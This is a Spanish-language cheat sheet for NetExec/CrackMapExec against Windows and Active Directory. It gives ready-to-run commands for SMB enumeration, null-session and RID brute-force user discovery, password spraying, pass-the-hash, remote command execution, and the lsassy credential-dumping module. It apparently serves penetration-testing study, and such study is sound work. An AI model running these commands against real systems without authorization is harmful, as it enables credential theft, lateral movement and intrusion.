CrackMapExec / NetExec

NetExec (nxc) es el sucesor moderno de CrackMapExec (crackmapexec/cme). Se usa para enumerar, validar credenciales y automatizar acciones en entornos Windows/Active Directory desde protocolos como SMB, WinRM, LDAP, MSSQL o RDP.

Uso básico

terminal
$ nxc smb <IP/RANGO> -u <usuario> -p '<password>'$ nxc smb <IP/RANGO> -u <usuario> -H <NTLM_HASH>$ nxc winrm <IP> -u <usuario> -p '<password>'
Con CrackMapExec clásico la idea es equivalente:
terminal
$ crackmapexec smb <IP/RANGO> -u <usuario> -p '<password>'$ crackmapexec smb <IP/RANGO> -u <usuario> -H <NTLM_HASH>

Enumeración SMB

terminal
$ nxc smb <IP> -u '<usuario>' -p '<password>' --shares$ nxc smb <IP> -u '<usuario>' -p '<password>' --users$ nxc smb <IP> -u '<usuario>' -p '<password>' --groups$ nxc smb <IP> -u '<usuario>' -p '<password>' --pass-pol$ nxc smb <IP> -u '<usuario>' -p '<password>' --loggedon-users

Acceso nulo o guest

terminal
$ nxc smb <IP> -u '' -p '' --shares$ nxc smb <IP> -u 'guest' -p '' --shares$ nxc smb <IP> -u '' -p '' --rid-brute
--rid-brute puede ayudar a descubrir usuarios cuando SMB permite enumeración por RID.

Password spraying

terminal
$ nxc smb <IP/RANGO> -u users.txt -p 'Password123!' --continue-on-success$ nxc smb <IP/RANGO> -u users.txt -p passwords.txt --continue-on-success
Para evitar bloqueos de cuenta, revisar siempre la política de contraseñas antes de hacer spraying:
terminal
$ nxc smb <DC_IP> -u '<usuario>' -p '<password>' --pass-pol

Pass The Hash

terminal
$ nxc smb <IP> -u '<usuario>' -H '<NTLM_HASH>'$ nxc winrm <IP> -u '<usuario>' -H '<NTLM_HASH>'
Si aparece Pwn3d!, normalmente el usuario tiene permisos suficientes para ejecución remota sobre ese protocolo.

Ejecución de comandos

terminal
$ nxc smb <IP> -u '<usuario>' -p '<password>' -x 'whoami'$ nxc smb <IP> -u '<usuario>' -p '<password>' -X 'whoami'$ nxc winrm <IP> -u '<usuario>' -p '<password>' -x 'whoami'
-x ejecuta comandos vía cmd y -X vía PowerShell.

Local Auth

Para probar credenciales locales en lugar de dominio:
terminal
$ nxc smb <IP/RANGO> -u 'Administrator' -p '<password>' --local-auth$ nxc smb <IP/RANGO> -u 'Administrator' -H '<NTLM_HASH>' --local-auth

Módulos útiles

terminal
$ nxc smb <IP> -u '<usuario>' -p '<password>' -M spider_plus$ nxc smb <IP> -u '<usuario>' -p '<password>' -M lsassy$ nxc smb <IP> -u '<usuario>' -p '<password>' -M enum_av
Para listar módulos disponibles:
terminal
$ nxc smb -L

Referencias